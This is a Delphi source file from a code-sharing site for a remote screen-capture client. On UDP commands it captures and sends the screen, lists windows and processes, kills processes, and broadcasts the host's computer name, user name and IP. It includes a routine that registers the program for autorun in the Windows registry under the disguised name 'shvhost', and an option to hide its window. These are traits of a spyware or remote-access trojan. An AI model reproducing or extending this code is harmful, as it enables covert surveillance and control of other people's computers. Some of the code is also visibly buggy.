www.pudn.com > getscreen.rar > vclient.pas

unit vclient; 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, NMUDP, jpeg, IdBaseComponent, IdComponent, IdUDPBase, 
  IdUDPClient, StdCtrls, WinSock, ExtCtrls, Registry, TLHelp32; 
 
type 
  TForm1 = class(TForm) 
    CUDP: TNMUDP; 
    IdUDPClient1: TIdUDPClient; 
    Button1: TButton; 
    Timer1: TTimer; 
    NMUDP1: TNMUDP; 
    Button2: TButton; 
    ListBox1: TListBox; 
    Button3: TButton; 
    Edit1: TEdit; 
    procedure FormCreate(Sender: TObject); 
    procedure FormDestroy(Sender: TObject); 
    procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer; 
      FromIP: string; Port: Integer); 
    procedure Button1Click(Sender: TObject); 
    procedure Timer1Timer(Sender: TObject); 
    procedure Button2Click(Sender: TObject); 
    procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer; 
      FromIP: string; Port: Integer); 
    procedure Button3Click(Sender: TObject); 
  private 
    procedure Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean); 
  public 
    { Public declarations } 
  end; 
 
var 
  Form1: TForm1; 
 
implementation 
 
uses Math; 
 
{$R *.dfm} 
const BufSize = 2048; { 发送每一笔数据的缓冲区大小 } 
var 
  BmpStream: TMemoryStream; 
  LeftSize: Longint; { 发送每一笔数据后剩余的字节数 } 
  Enum: Boolean; {是否取各枚举窗口信息，如已取，则开始发送数据} 
 
 
//函数枚举窗口 
function EnumerateWindows(hWnd: hWnd; lParam: lParam): BOOL; stdcall; 
var 
  TheText: array[0..255] of char; 
begin 
  if (GetWindowText(hWnd, TheText, 255) <> 0) then 
  begin 
    Form1.ListBox1.Items.Add(Format('%d=%s', [hWnd, TheText])); 
  end; 
  Result := TRUE; 
end; 
 
//写入注册表，让程序自动运行 
procedure RegAutoRun; 
var 
  ARegistry: TRegistry; 
begin 
  ARegistry := TRegistry.Create; 
 //建立一个TRegistry实例 
  with ARegistry do 
  begin 
    RootKey := HKEY_LOCAL_MACHINE; 
    if OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', TRUE) then 
      WriteString('shvhost', Application.ExeName); 
    CLoseKey; 
    Free; 
  end; 
end; 
 
//得到计算机名 
function GetComputerName1: string; 
var 
  buffer: array[0..MAX_COMPUTERNAME_LENGTH + 1] of char; 
  Size: Cardinal; 
begin 
  Size := MAX_COMPUTERNAME_LENGTH + 1; 
  Windows.GetComputerName(@buffer, Size); 
  Result := StrPas(buffer); 
end; 
 
//得到用户名 
function GetUserName1: string; 
var 
  buffer: array[0..MAX_COMPUTERNAME_LENGTH + 1] of char; 
  Size: Cardinal; 
begin 
  Size := MAX_COMPUTERNAME_LENGTH + 1; 
  Windows.GetUserName(@buffer, Size); 
  Result := StrPas(buffer); 
end; 
 
//取得本机IP 
function GetIP: string; 
var 
  WSData: TWSAData; 
  buffer: array[0..63] of char; 
  HostEnt: PHostEnt; 
  PPInAddr: ^PInAddr; 
  IPString: string; 
begin 
  IPString := ''; 
  try 
    WSAStartUp($101, WSData); 
    GetHostName(buffer, SizeOf(buffer)); 
    HostEnt := GetHostByName(buffer); 
    if Assigned(HostEnt) then 
    begin 
      PPInAddr := @(PInAddr(HostEnt.H_Addr_List^)); 
      while Assigned(PPInAddr^) do 
      begin 
        IPString := StrPas(INet_NToA(PPInAddr^^)); 
        Inc(PPInAddr); 
      end; 
    end; 
    Result := IPString; 
  finally 
    try 
      WSACleanUp; 
    except 
    end; 
  end; 
end; 
 
 
//抓全屏 
procedure TForm1.Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean); 
var 
  Cursorx, Cursory: Integer; 
  dc: hdc; 
  Mycan: Tcanvas; 
  R: TRect; 
  DrawPos: TPoint; 
  MyCursor: TIcon; 
  hld: hWnd; 
  Threadld: dword; 
  mp: TPoint; 
  pIconInf: TIconInfo; 
begin 
  Mybmp := TBitmap.Create; {建立BMPMAP } 
  Mycan := Tcanvas.Create; {屏幕截取} 
  dc := GetWindowDC(0); 
  try 
    Mycan.Handle := dc; 
    R := Rect(0, 0, screen.Width, screen.Height); 
    Mybmp.Width := R.Right; 
    Mybmp.Height := R.Bottom; 
    Mybmp.Canvas.CopyRect(R, Mycan, R); 
  finally 
    releaseDC(0, dc); 
  end; 
  Mycan.Handle := 0; 
  Mycan.Free; 
  if DrawCur then {画上鼠标图象} 
  begin 
  //  GetCursorPos(DrawPos); 
  //  MyCursor := TIcon.Create; 
  //  GetCursorPos(mp); 
  //  hld := WindowFromPoint(mp); 
  //  Threadld := GetWindowThreadProcessId(hld, nil); 
  //  AttachThreadInput(GetCurrentThreadId, Threadld, True); 
  //  MyCursor.Handle := Getcursor(); 
  //  AttachThreadInput(GetCurrentThreadId, Threadld, False); 
  //  GetIconInfo(MyCursor.Handle,pIconInf); 
  //  Cursorx := DrawPos.x - round(pIconInfo.xHotspot); 
  //  Cursory := DrawPos.y - roundto(pIconInfo.yHotspot); 
  //  Mybmp.Canvas.Draw(Cursorx, Cursory, MyCursor); {画上鼠标} 
  //  DeleteObject(pIconInfo.hbmColor); {GetIconInfo 使用时创建了两个bitmap对象. 需要手工释放这两个对象} 
  //  DeleteObject(pIconInfo.hbmMask); {否则,调用他后,他会创建一个bitmap,多次调用会产生多个,直至资源耗尽} 
  //  MyCursor.ReleaseHandle; {释放数组内存} 
  //  MyCursor.Free; {释放鼠标指针} 
  end; 
end; 
 
 
//可指定抓屏范围 
procedure ScreenCap(LeftPos, TopPos, RightPos, BottomPos: Integer); 
var 
  RectWidth, RectHeight: Integer; 
  SourceDC, DestDC, Bhandle: Integer; 
  Bitmap: TBitmap; 
  jpeg: TJPEGImage; 
begin 
  Application.ProcessMessages; 
  RectWidth := RightPos - LeftPos; 
  RectHeight := BottomPos - TopPos; 
  SourceDC := CreateDC('DISPLAY', '', '', nil); 
  DestDC := CreateCompatibleDC(SourceDC); 
  Bhandle := CreateCompatibleBitmap(SourceDC, 
    RectWidth, RectHeight); 
  SelectObject(DestDC, Bhandle); 
  BitBlt(DestDC, 0, 0, RectWidth, RectHeight, SourceDC, 
    LeftPos, TopPos, SRCCOPY); 
  BmpStream := BmpStream.Create; 
  Bitmap := TBitmap.Create; 
  Bitmap.Handle := Bhandle; 
  jpeg := TJPEGImage.Create; 
  jpeg.Assign(Bitmap); 
  jpeg.CompressionQuality := 10; 
  jpeg.SaveToStream(BmpStream); 
  BmpStream.Position := 0; 
  LeftSize := BmpStream.Size; 
  ShowMessage(IntToStr(LeftSize)); 
  Bitmap.Free; 
  jpeg.Free; 
  DeleteDC(DestDC); 
  releaseDC(Bhandle, SourceDC); 
  Application.ProcessMessages; 
  DeleteFile('c:\aa.jpg'); DeleteFile('c:\aa.bmp'); 
end; 
 
procedure TForm1.FormCreate(Sender: TObject); 
begin 
//  Application.ShowMainForm:=false; 
  Enum := False; 
  BmpStream := TMemoryStream.Create; 
end; 
 
procedure TForm1.FormDestroy(Sender: TObject); 
begin 
  BmpStream.Free; 
end; 
 
procedure TForm1.CUDPDataReceived(Sender: TComponent; NumberBytes: Integer; 
  FromIP: string; Port: Integer); 
var 
  CtrlCode: array[0..29] of char; 
  Buf: array[0..BufSize - 1] of char; 
  TmpStr: string; 
  SendSize, LeftPos, TopPos, RightPos, BottomPos: Integer; 
  Mybmp: TBitmap; 
  Myjpg: TJPEGImage; 
begin 
  CUDP.ReadBuffer(CtrlCode, NumberBytes); { 读取控制码 } 
  if CtrlCode[0] + CtrlCode[1] + CtrlCode[2] + CtrlCode[3] = 'show' then 
  begin { 控制码前4位为“show”表示主控机发出了抓屏指令 } 
    if BmpStream.Size = 0 then { 没有数据可发，必须截屏生成数据 } 
    begin 
   {   TmpStr := StrPas(CtrlCode); 
      TmpStr := Copy(TmpStr, 5, Length(TmpStr) - 4); 
      LeftPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1)); 
      TmpStr := Copy(TmpStr, Pos(':', TmpStr) + 1, Length(TmpStr) 
        - Pos(':', TmpStr)); 
      TopPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1)); 
      TmpStr := Copy(TmpStr, Pos(':', TmpStr) + 1, Length(TmpStr) - 
        Pos(':', TmpStr)); 
      RightPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1)); 
      BottomPos := StrToInt(Copy(TmpStr, Pos(':', TmpStr 
        ) + 1, Length(TmpStr) - Pos(':', TmpStr))); 
      ScreenCap(LeftPos, TopPos, RightPos, BottomPos); {截取屏幕} 
 
      //取得压缩比例 
      TmpStr := StrPas(CtrlCode); 
      TmpStr := Copy(TmpStr, 5, Length(TmpStr) - 4); 
      LeftPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1)); 
 
      //图像转换成JPEG 并压缩 
      Mybmp := TBitmap.Create; 
      Myjpg := TJPEGImage.Create; 
      Cjt_GetScreen(Mybmp, TRUE); 
      Myjpg.Assign(Mybmp); {将BMP图象转成JPG格式,便于在互联网上传输} 
      Myjpg.CompressionQuality := LeftPos; {JPG文件压缩百分比设置,数字越大图像越清晰,但数据也越大} 
      Myjpg.JPEGNeeded; 
      Myjpg.Compress; 
      Myjpg.SaveToStream(BmpStream); {将JPG图象写入流中} 
      Myjpg.Free; 
      Mybmp.Free; 
      BmpStream.Position := 0; {注意:必须添加此句} 
      LeftSize := BmpStream.Size; 
    end; 
 
    if LeftSize > BufSize then SendSize := BufSize 
    else SendSize := LeftSize; 
 
    BmpStream.ReadBuffer(Buf, SendSize); 
    LeftSize := LeftSize - SendSize; 
 
    if LeftSize = 0 then BmpStream.Clear; { 清空流 } 
    CUDP.RemoteHost := FromIP; { FromIP为主控机IP地址 } 
    CUDP.SendBuffer(Buf, SendSize); { 将数据发到主控机的2222口 } 
  end; 
end; 
 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  LocalName, LocalIP, LocalUser: string; 
begin 
  LocalName := GetComputerName1(); 
  LocalUser := GetUserName1(); 
  LocalIP := GetIP(); 
  IdUDPClient1.Host := '255.255.255.255'; 
  IdUDPClient1.Send('add' + LocalName + ':' + LocalUser + ':' + LocalIP); 
end; 
 
procedure TForm1.Timer1Timer(Sender: TObject); 
begin 
  Button1.Click; 
end; 
 
procedure TForm1.Button2Click(Sender: TObject); 
var 
  I, J: Integer; 
  a: string; 
begin 
  Enum := TRUE; 
  ListBox1.Clear; 
  EnumWindows(@EnumerateWindows, 0); 
end; 
 
procedure TForm1.NMUDP1DataReceived(Sender: TComponent; 
  NumberBytes: Integer; FromIP: string; Port: Integer); 
var 
  CtrlCode1: array[0..199] of char; 
  Code: string; 
  EnumStr: string; 
  H: THandle; 
  P: dword; 
begin 
  NMUDP1.ReadBuffer(CtrlCode1, NumberBytes); 
  Code := CtrlCode1[0] + CtrlCode1[1] 
    + CtrlCode1[2] + CtrlCode1[3]; 
  NMUDP1.RemoteHost := FromIP; 
  if Code = 'Enum' then //取得枚举窗口信息 
  begin 
    if Enum = False then Button2.Click; 
    if ListBox1.Items.Count >= 0 then 
    begin 
      EnumStr := 'Enum' + ListBox1.Items[0]; 
      if ListBox1.Items.Count = 1 then 
      begin 
        Enum := False; 
        EnumStr := 'Eend'; 
        StrpCopy(CtrlCode1, EnumStr); 
        NMUDP1.SendBuffer(CtrlCode1, 200); 
      end 
      else 
      begin 
        StrpCopy(CtrlCode1, EnumStr); 
        NMUDP1.SendBuffer(CtrlCode1, 200); 
      end; 
      ListBox1.Items.Delete(0); 
    end; 
  end; 
  if Code = 'Proc' then //取得系统进程 
  begin 
    if Enum = False then Button3.Click; 
    if ListBox1.Items.Count >= 0 then 
    begin 
      EnumStr := 'Proc' + ListBox1.Items[0]; 
      if ListBox1.Items.Count = 1 then 
      begin 
        Enum := False; 
        EnumStr := 'Pend'; 
        StrpCopy(CtrlCode1, EnumStr); 
        NMUDP1.SendBuffer(CtrlCode1, 200); 
      end 
      else 
      begin 
        StrpCopy(CtrlCode1, EnumStr); 
        NMUDP1.SendBuffer(CtrlCode1, 200); 
      end; 
      ListBox1.Items.Delete(0); 
    end; 
  end; 
  if Code = 'Clos' then 
  begin 
    EnumStr := StrPas(CtrlCode1); 
    EnumStr := Copy(EnumStr, 5, Length(EnumStr)); 
    EnumStr := Trim(EnumStr); 
    H := StrToInt(EnumStr); 
    GetWindowThreadProcessId(H, @P); 
    if P <> 0 then 
      TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, P), $FFFFFFFF); 
  end; 
end; 
 
procedure TForm1.Button3Click(Sender: TObject); 
var 
  lppe: TProcessEntry32; 
  found: Boolean; 
  Hand: THandle; 
begin 
  Enum := TRUE; 
  ListBox1.Clear; 
  Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); 
  found := Process32First(Hand, lppe); 
  while found do 
  begin 
    ListBox1.Items.Add(IntToStr(lppe.th32ProcessID) + '=' 
      + StrPas(lppe.szExeFile)); //列出所有进程。 
    found := Process32Next(Hand, lppe); 
  end; 
  ListBox1.Items.Delete(0); 
end; 
 
end.